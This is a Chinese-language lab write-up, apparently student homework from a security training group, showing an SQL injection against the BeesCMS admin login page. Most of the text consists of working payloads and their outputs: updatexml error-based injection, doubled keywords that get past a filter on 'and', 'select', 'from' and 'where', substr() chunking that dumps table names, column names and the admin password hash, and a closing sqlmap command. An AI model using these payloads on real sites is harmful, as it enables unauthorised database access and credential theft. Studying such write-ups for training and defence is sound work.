BeesCMS的SQL注入漏洞

时间:2022-07-23
本文章向大家介绍BeesCMS的SQL注入漏洞,主要内容包括其使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。

本文作者:arakh(MS08067实验室Web安全攻防知识星球学员)

根据星球布置作业,完成BeesCMS的SQL注入漏洞过程如下:

1. 扫描后台 获得后台登陆地址:

2. 登陆后台,发现存在SQL报错,而且同一个验证码可以重复提交 使用

3. 由于有报错信息,尝试使用联合查询或是报错注入

测试发现,sql语句过滤了 and select 等号 等符号。等号用like替 代, and 用 an and d 替代, select 用 seleselectct替代 , from 用 fro from m替代, where用wh where ere替代 因为注入的页面为登陆页面,即使union查询的语句语法正确了,也 无法获得回显,因此考虑使用报错注入

4. 报错注入 // 查询数据库版本:


user=admin' a and nd 
updatexml(1,concat(0x7e,version(),0x7e),1)-
&password=fdjal&code=d41b&submit=true&submit.x=42&submit.y=35

操作数据库失败XPATH syntax error: '~5.5.53~'
 
    // 查询当前用户
 user=admin' a and nd updatexml(1,concat(0x7e,user(),0x7e),1)-
&password=fdjal&code=d41b&submit=true&submit.x=42&submit.y=35

操作数据库失败XPATH syntax error: '~root@localhost~'


    // 查询当前数据库
 user=admin' a and nd 
updatexml(1,concat(0x7e,database(),0x7e),1)-
&password=fdjal&code=d41b&submit=true&submit.x=42&submit.y=35

操作数据库失败XPATH syntax error: '~beescms~'


    // 查询当前表名
 user=admin' a and nd updatexml(1,concat(0x7e,(selselectect group_concat(table_name) fr from om 
information_schema.tables whe where re table_schema like 
database()),0x7e),1)-
&password=fdjal&code=d41b&submit=true&submit.x=42&submit.y=35

操作数据库失败XPATH syntax error:

'~bees_admin,bees_admin_group,bee'

发现输出字符串长度被限制了,使用截取字符串函数,测试发现每次 输出多为32个字符,所以需要不断变换截取字符的起始位置来获得 所有表的名称

user=admin' a and nd 
updatexml(1,concat(0x7e,substr((selselectect 
group_concat(table_name) fr from om 
information_schema.tables whe where re table_schema like 
database()),1,32),0x7e),1)-
&password=fdjal&code=d41b&submit=true&submit.x=42&submit.y=35

user=admin' a and nd 
updatexml(1,concat(0x7e,substr((selselectect 
group_concat(table_name) fr from om 
information_schema.tables whe where re table_schema like 
database()),32,64),0x7e),1)-
&password=fdjal&code=d41b&submit=true&submit.x=42&submit.y=35

// 查询bees_admin表中的列名

user=admin' a and nd updatexml(1,concat(0x7e,(selselectect group_concat(column_name) fr from om 
information_schema.columns whe where re table_schema like 
database() a and nd table_name like 'bees_admin'),0x7e),1)-
&password=fdjal&code=d41b&submit=true&submit.x=42&submit.y=35

操作数据库失败XPATH syntax error:

'~id,admin_name,admin_password,ad'

同样存在字符串输出长度限制,需要使用substr()函数进行截取。

// 获取字段内容

user=admin' a and nd updatexml(1,concat(0x7e,(selselectect group_concat(admin_name) fr from om 
beescms.bees_admin),0x7e),1)-
&password=fdjal&code=d41b&submit=true&submit.x=42&submit.y=35

操作数据库失败XPATH syntax error: '~admin~'


user=admin' a and nd updatexml(1,concat(0x7e,(selselectect 
admin_password fr from om beescms.bees_admin wh where ere 
admin_name like 'admin'),0x7e),1)-
&password=fdjal&code=d41b&submit=true&submit.x=42&submit.y=35

操作数据库失败XPATH syntax error: '~21232f297a57a5a743894a0e4a801fc'


user=admin' a and nd 
updatexml(1,concat(0x7e,substr((selselectect admin_password fr 
from om beescms.bees_admin wh where ere admin_name like 
'admin'),24,64),0x7e),1)-
&password=fdjal&code=d41b&submit=true&submit.x=42&submit.y=35

操作数据库失败XPATH syntax error: '~e4a801fc3~'

拼凑后的md5值:21232f297a57a5a743894a0e4a801fc3

解密 后:admin

5. SQLMap C:UsersAdministratorDesktopsqlmap>sqlmap.py -r bees.log -p "user"

枚举表名的过程失败